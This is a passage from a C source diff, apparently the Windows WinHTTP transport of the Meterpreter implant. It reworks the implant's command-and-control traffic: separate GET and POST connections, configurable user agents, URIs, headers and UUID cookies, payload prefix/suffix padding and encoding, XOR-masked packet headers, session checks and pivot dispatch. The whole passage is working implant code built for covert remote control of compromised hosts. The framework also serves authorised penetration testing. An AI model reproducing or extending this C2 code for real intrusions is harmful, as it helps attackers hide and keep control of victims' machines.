(ctx->custom_headers) + BOOL result = FALSE; + + PWSTR headers = generate_headers(ctx, conn); + DWORD headerLength = headers == NULL ? 0 : -1L; + + DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; + + // Start a request without including any data + if (WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); + dprintf("[WINHTTP] Sending prefix"); + // Then write the prefix first + if (write_to_request(hReq, conn->options.payload_prefix, conn->options.payload_prefix_size)) + { + dprintf("[WINHTTP] Sending payload"); + // .. then the body + if (write_to_request(hReq, buffer, size)) + { + dprintf("[WINHTTP] Sending suffix"); + // .. then the suffix + result = write_to_request(hReq, conn->options.payload_suffix, conn->options.payload_suffix_size); + } + } } + else + { + dprintf("[WINHTTP] WinHttpSendRequestFailed: %u 0x%x", GetLastError(), GetLastError()); + } + + SAFE_FREE(headers); - return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); + return result; } /*! @@ -214,9 +279,10 @@ static BOOL receive_response_winhttp(HANDLE hReq) * @brief Wrapper around WinHTTP-specific request response validation. * @param hReq HTTP request handle. * @param ctx The HTTP transport context. + * @param contentLength Pointer to a DWORD receiving the content length of the response. * @return An indication of the result of getting a response. */ -static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) +static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength) { DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); @@ -246,6 +312,10 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) return ERROR_BAD_CONFIGURATION; } } + else + { + vdprintf("[PACKET RECEIVE WINHTTP] Getting result code failed: %u 0x%x", GetLastError(), GetLastError()); + } if (ctx->cert_hash != NULL) { @@ -278,14 +348,18 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) } } - return ERROR_SUCCESS; + // if we get here, then we should be good to look at the content length + DWORD size = sizeof(DWORD); + + WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, contentLength, &size, WINHTTP_NO_HEADER_INDEX); + return GetLastError(); } /*! - * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. + * @brief Transmit a packet via HTTP(s) using winhttp _and_ destroy it. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. * @return An indication of the result of processing the transmission request. */ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) @@ -294,6 +368,10 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac HINTERNET hReq; BOOL res; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + LPBYTE encodedPacket = NULL; + DWORD encodedPacketLength = 0; + + BOOL freeEncodedPacket = encode_raw_packet(ctx, rawPacket, rawPacketLength, &encodedPacket, &encodedPacketLength); lock_acquire(remote->lock); @@ -305,58 +383,62 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed create_req"); } - res = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); + dprintf("[PACKET TRANSMIT HTTP] Request created, sending via POST"); + res = ctx->send_req(ctx, hReq, &ctx->post_connection, encodedPacket, encodedPacketLength); if (!res) { BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed send_req"); } dprintf("[PACKET TRANSMIT HTTP] request sent.. apparently"); + res = ctx->receive_response(hReq); + if (!res) + { + BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed receive_response"); + } + + dprintf("[PACKET TRANSMIT HTTP] response received. Apparently. %u", GetLastError()); } while(0); ctx->close_req(hReq); + if (freeEncodedPacket) + { + SAFE_FREE(encodedPacket); + } + lock_release(remote->lock); return dwResult; } /*! - * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). + * @brief Receive a new packet via one of the HTTP libs (WinInet or WinHTTP). * @param remote Pointer to the \c Remote instance. * @param packet Pointer to a pointer that will receive the \c Packet data. * @return An indication of the result of processing the transmission request. */ static DWORD packet_receive_http(Remote *remote, Packet **packet) { - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header; - DWORD bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; + DWORD result = ERROR_SUCCESS; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - HINTERNET hReq; - BOOL hRes; DWORD retries = 5; lock_acquire(remote->lock); - hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); + HINTERNET hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); if (hReq == NULL) { + result = GetLastError(); goto out; } vdprintf("[PACKET RECEIVE HTTP] sending GET"); - hRes = ctx->send_req(ctx, hReq, NULL, 0); - if (!hRes) + if (!ctx->send_req(ctx, hReq, &ctx->get_connection, NULL, 0)) { dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); - SetLastError(ERROR_NOT_FOUND); + result = ERROR_NOT_FOUND; goto out; } @@ -364,129 +446,107 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (ctx->receive_response && !ctx->receive_response(hReq)) { vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); + result = ERROR_NOT_FOUND; goto out; } - SetLastError(ctx->validate_response(hReq, ctx)); - - if (GetLastError() != ERROR_SUCCESS) + DWORD contentLength = 0; + result = ctx->validate_response(hReq, ctx, &contentLength) != ERROR_SUCCESS; + if (result != ERROR_SUCCESS) { + vdprintf("[PACKET RECEIVE] Validation failed: %d", result); goto out; } + dprintf("[PACKET RECEIVE] Response is valid, content length is: %d", contentLength); - // Read the packet length - retries = 3; - vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); - while (inHeader && retries > 0) + if (contentLength == 0) { - retries--; - if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) - { - dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } + dprintf("[PACKET RECEIVE] No data in body, bailing out"); + result = ERROR_EMPTY; + goto out; + } - vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); + DWORD bytesRead = 0; + DWORD bytesTotal = 0; + LPBYTE body = (LPBYTE)calloc(contentLength, sizeof(BYTE)); + while (bytesTotal < contentLength && retries > 0) + { + dprintf("[PACKET RECEIVE] Trying to read bytes: %d", contentLength - bytesTotal); - // If the response contains no data, this is fine, it just means the - // remote side had nothing to tell us. Indicate this through a - // ERROR_EMPTY response code so we can update the timestamp. - if (bytesRead == 0) + if (!ctx->read_response(hReq, body + bytesTotal, contentLength - bytesTotal, &bytesRead)) { - SetLastError(ERROR_EMPTY); + dprintf("[PACKET RECEIVE HTTP] Failed read_response: %d", GetLastError()); + result = ERROR_NOT_FOUND; goto out; } - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) + if (bytesRead == 0) { + --retries; continue; } - - inHeader = FALSE; + bytesTotal += bytesRead; } - if (headerBytes != sizeof(PacketHeader)) + if (bytesTotal != contentLength) { - dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); - SetLastError(ERROR_NOT_FOUND); + vdprintf("[PACKET RECEIVE] Failed read response: %d", GetLastError()); + result = ERROR_NOT_FOUND; goto out; } - dprintf("[PACKET RECEIVE HTTP] decoding header"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); + dprintf("[PACKET RECEIVE HTTP] Content has been read."); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[REC HTTP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + // if there's data to skip at the start of the response, move the packet data + // to the front of the buffer + UINT skipCount = ctx->get_connection.options.payload_prefix_skip; + if (skipCount == 0) { - dprintf("[REC HTTP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; + skipCount = ctx->default_options.payload_prefix_skip; } - dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - retries = payloadBytesLeft; - while (payloadBytesLeft > 0 && retries > 0) + dprintf("[PACKET RECEIVE HTTP] Skipping prefix bytes: %d", skipCount); + if (skipCount > 0) { - vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); - retries--; - if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - if (!bytesRead) - { - vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } + memmove_s(body, contentLength, body + skipCount, contentLength - skipCount); + contentLength -= skipCount; + } - vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); - payloadBytesLeft -= bytesRead; + // Then adjust the length to consider based on the suffix skip + skipCount = ctx->get_connection.options.payload_suffix_skip; + if (skipCount == 0) + { + skipCount = ctx->default_options.payload_suffix_skip; } + dprintf("[PACKET RECEIVE HTTP] Skipping suffix bytes: %d", skipCount); + contentLength -= skipCount; - // Didn't finish? - if (payloadBytesLeft) + if (contentLength == 0) { + // After stripping our prefix/suffix, we have nothing left. + dprintf("[PACKET RECEIVE] No data in body post-skipping, bailing out"); + result = ERROR_EMPTY; goto out; } + // The packet data has been read, but could be encoded based on the C2, so decode it first + LPBYTE packetData = NULL; + DWORD packetDataSize = 0; + BOOL freePacketData = decode_encoded_packet(ctx, body, contentLength, &packetData, &packetDataSize); + + // We're now ready to handle the packet directly. Check the header info before we move forward. + PacketHeader header = *(PacketHeader*)packetData; + xor_bytes(header.xor_key, (PBYTE)&header + sizeof(header.xor_key), sizeof(header) - sizeof(header.xor_key)); + #ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; + PUCHAR h = (PUCHAR)&header.session_guid[0]; dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); #endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + if (is_null_guid(header.session_guid) || memcmp(remote->session_guid, header.session_guid, sizeof(header.session_guid)) == 0) { dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + result = decrypt_packet(remote, packet, packetData, packetDataSize); } else { @@ -495,10 +555,10 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (pivotCtx != NULL) { dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + result = pivot_packet_dispatch(pivotCtx, packetData, packetDataSize); // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; + packetData = NULL; *packet = NULL; } else @@ -507,18 +567,14 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) } } -out: - res = GetLastError(); - - dprintf("[HTTP] Cleaning up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) + if (freePacketData) { - SAFE_FREE(localPacket); + SAFE_FREE(packetData); } +out: + + dprintf("[HTTP] Cleaning up"); if (hReq) { ctx->close_req(hReq); @@ -528,42 +584,68 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) dprintf("[HTTP] Packet receive finished"); - return res; + return result; } - /*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. + * @brief Initialise a connection to a remote web server using WinHTTP. + * @param ctx Pointer to the current \c HttpTransportContext. + * @param conn Pointer to the \c HttpConnection config. + * @param host Name of the host to connect to. + * @param port Port number to connect on. * @return Indication of success or failure. */ -static DWORD server_init_winhttp(Transport* transport) +static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WINHTTP] Initialising ..."); - // configure proxy + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + PWSTR userAgent = conn->options.ua ? conn->options.ua : ctx->default_options.ua; + if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } - if (!ctx->internet) + if (!conn->internet) { dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return GetLastError(); } - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", conn->internet); + + + // Allocate the connection handle + conn->connection = WinHttpConnect(conn->internet, host, port, 0); + if (!conn->connection) + { + dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); + return GetLastError(); + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", conn->connection); + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static DWORD server_init_winhttp(Transport* transport) +{ + dprintf("[WINHTTP] Initialising ..."); + + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); @@ -581,29 +663,46 @@ static DWORD server_init_winhttp(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); WinHttpCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); + SAFE_FREE(ctx->default_options.uri); + ctx->default_options.uri = _wcsdup(tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - // Allocate the connection handle - ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); - return GetLastError(); - } + DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); + result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort) && result; - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + transport->comms_last_packet = current_unix_timestamp(); - return ERROR_SUCCESS; + return result; +} + +/*! + * @brief Close off any connection resource handles. + * @param ctx Pointer ot the current \c HttpTransportContext. + * @param conn Pointer ot the current \c HttpConnection. + * @return Indication of success or failure. + */ +static void close_connection(HttpTransportContext* ctx, HttpConnection* conn) +{ + if (conn != NULL) + { + if (conn->connection != NULL) + { + ctx->close_req(conn->connection); + conn->connection = NULL; + } + if (conn->internet != NULL) + { + ctx->close_req(conn->internet); + conn->internet = NULL; + } + } } /*! * @brief Deinitialise the HTTP(S) connection. - * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @param transport Pointer to the current \c Transport instance with the HTTP(S) transport details wired in. * @return Indication of success or failure. */ static DWORD server_deinit_http(Transport* transport) @@ -612,17 +711,8 @@ static DWORD server_deinit_http(Transport* transport) dprintf("[HTTP] Deinitialising ..."); - if (ctx->connection) - { - ctx->close_req(ctx->connection); - ctx->connection = NULL; - } - - if (ctx->internet) - { - ctx->close_req(ctx->internet); - ctx->internet = NULL; - } + close_connection(ctx, &ctx->get_connection); + close_connection(ctx, &ctx->post_connection); // have we had issues that require us to move? if (ctx->move_to_wininet) @@ -740,61 +830,6 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - - if (ctx->new_uri != NULL) - { - dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->uri); - dprintf("[DISPATCH] Old URL is: %S", transport->url); - - // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); - if (diff > 0) - { - dprintf("[DISPATCH] New URI is bigger by %d", diff); - transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); - } - - // we also need to patch the new URI into the original transport URL, not just the currently - // active URI for comms. If we don't, then migration behaves badly. - // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ - // Start by locating the start of the URI in the current URL, by finding the third slash, - // as this value includes the LURI - wchar_t* csr = transport->url; - for (int i = 0; i < 3; ++i) - { - // We need to move to the next character first in case - // we are currently pointing at the previously found / - // we know we're safe skipping the first character in the whole - // URL because that'll be part of the scheme (ie. 'h' in http) - ++csr; - - while (*csr != L'\0' && *csr != L'/') - { - ++csr; - } - - dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); - - // this shouldn't happen! - if (*csr == L'\0') - { - break; - } - } - - // the pointer that we have will be - dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); - - // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); - dprintf("[DISPATCH] New URL is: %S", transport->url); - - // clean up - SAFE_FREE(ctx->uri); - ctx->uri = ctx->new_uri; - ctx->new_uri = NULL; - } } else { @@ -806,6 +841,22 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) return result; } +/*! + * @brief Destroy any configured HTTP options for the given request. + * @param options Pointer to the \c HttpRequestOptions to clean up. + */ +static void destroy_options(HttpRequestOptions* options) +{ + SAFE_FREE(options->ua); + SAFE_FREE(options->uri); + SAFE_FREE(options->headers); + SAFE_FREE(options->payload_prefix); + SAFE_FREE(options->payload_suffix); + SAFE_FREE(options->uuid_cookie); + SAFE_FREE(options->uuid_header); + SAFE_FREE(options->uuid_get); +} + /*! * @brief Destroy the HTTP(S) transport. * @param transport Pointer to the HTTP(S) transport to reset. @@ -824,9 +875,12 @@ static void transport_destroy_http(Transport* transport) SAFE_FREE(ctx->proxy); SAFE_FREE(ctx->proxy_pass); SAFE_FREE(ctx->proxy_user); - SAFE_FREE(ctx->ua); - SAFE_FREE(ctx->uri); - SAFE_FREE(ctx->custom_headers); + SAFE_FREE(ctx->uuid); + + destroy_options(&ctx->post_connection.options); + destroy_options(&ctx->get_connection.options); + destroy_options(&ctx->default_options); + if (ctx->proxy_for_url) { WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; @@ -847,77 +901,166 @@ static void transport_destroy_http(Transport* transport) } } -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) +/*! + * @brief Write the given set of request options to the given TLV packet. + * @param optionsPacket Pointer to the \c Packet to write all the TLV data to. + * @param sourceOptions Pointer to the \c HttpRequestOptions that needs to be written. + * @returns Indication of success or failure. + */ +BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions) { - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[HTTP CONF] Writing timeouts"); - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - - if (ctx->ua) + if (sourceOptions->encode_flags != 0) { - dprintf("[HTTP CONF] Writing UA"); - wcsncpy(config->ua, ctx->ua, UA_SIZE); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags); } - - if (ctx->cert_hash) + if (sourceOptions->headers != NULL) { - dprintf("[HTTP CONF] Writing cert hash"); - memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_HEADERS, sourceOptions->headers); } - - if (ctx->proxy) + if (sourceOptions->payload_prefix != NULL && sourceOptions->payload_prefix_size > 0) { - dprintf("[HTTP CONF] Writing proxy"); - wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); + packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_PREFIX, sourceOptions->payload_prefix, sourceOptions->payload_prefix_size); } - - if (ctx->proxy_user) + if (sourceOptions->payload_prefix_skip > 0) { - dprintf("[HTTP CONF] Writing user"); - wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_PREFIX_SKIP, sourceOptions->payload_prefix_skip); } - - if (ctx->proxy_pass) + if (sourceOptions->payload_suffix_skip > 0) { - dprintf("[HTTP CONF] Writing pass"); - wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_SUFFIX_SKIP, sourceOptions->payload_suffix_skip); + } + if (sourceOptions->payload_suffix != NULL && sourceOptions->payload_suffix_size > 0) + { + packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_SUFFIX, sourceOptions->payload_suffix, sourceOptions->payload_suffix_size); + } + if (sourceOptions->ua != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua); + } + if (sourceOptions->uri != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri); + } + if (sourceOptions->uuid_cookie != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_COOKIE, sourceOptions->uuid_cookie); + } + if (sourceOptions->uuid_get != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_GET, sourceOptions->uuid_get); + } + if (sourceOptions->uuid_header != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_HEADER, sourceOptions->uuid_header); } + return TRUE; +} - if (ctx->custom_headers) +/*! + * @brief Serialize the current transport to the given C2 packet. + * @param transport Pointer to the current \c Transport. + * @param c2Packet Pointer to the \c Packet to write all the TLV data to. + */ +void transport_write_http_config(Transport* transport, Packet* c2Packet) +{ + if (transport->type == METERPRETER_TRANSPORT_HTTP || transport->type == METERPRETER_TRANSPORT_HTTPS) { - dprintf("[HTTP CONF] Writing custom headers"); - // let's hope they've allocated the right amount of space based on what we told them - // in transport_get_config_size_http - wcscpy(config->custom_headers, ctx->custom_headers); - } + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); + + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UUID, ctx->uuid); + + set_http_options_to_tlv(c2Packet, &ctx->default_options); + + Packet* getOptionsPacket = packet_create_group(); + set_http_options_to_tlv(getOptionsPacket, &ctx->get_connection.options); + packet_add_group(c2Packet, TLV_TYPE_C2_GET, getOptionsPacket); - dprintf("[HTTP CONF] Done."); + Packet* postOptionsPacket = packet_create_group(); + set_http_options_to_tlv(postOptionsPacket, &ctx->post_connection.options); + packet_add_group(c2Packet, TLV_TYPE_C2_POST, postOptionsPacket); + + if (ctx->proxy) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_URL, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(c2Packet, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } } /*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. + * @brief Read HTTP configuration options from a TLV packet. + * @param packet Pointer to the \c Packet containing the TLV data. + * @param optionsTlv Pointer to the \c Tlv group to read the options from. + * @param targetOptions Pointer to the \c HttpRequestOptions instance to populate. + * @returns Indication of success or failure. */ -static DWORD transport_get_config_size_http(Transport* t) +BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) { - DWORD size = sizeof(MetsrvTransportHttp); + targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); + targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); + targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, (DWORD*)&targetOptions->payload_prefix_size); + targetOptions->payload_prefix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_PREFIX_SKIP); + targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, (DWORD*)&targetOptions->payload_suffix_size); + targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP); + targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); + targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); + targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL); + targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL); + + return TRUE; +} - // Make sure we account for the custom headers, if there are any, which aren't - // of a predetermined size. - HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; - if (ctx->custom_headers) +/*! + * @brief Read HTTP request configuration options from a TLV packet. + * @param packet Pointer to the \c Packet containing the TLV data. + * @param c2Tlv Pointer to the \c Tlv that contains the options TLV data + * @param tlvType Identifies the TLV group type that contains the options to read. + * @param targetOptions Pointer to the \c HttpRequestOptions instance to populate. + * @returns Indication of success or failure. + */ +BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, HttpRequestOptions* targetOptions) +{ + Tlv optionsTlv = { 0 }; + if (packet_get_tlv_group_entry(packet, c2Tlv, tlvType, &optionsTlv) == ERROR_SUCCESS) { - size += (DWORD)wcslen(ctx->custom_headers) * 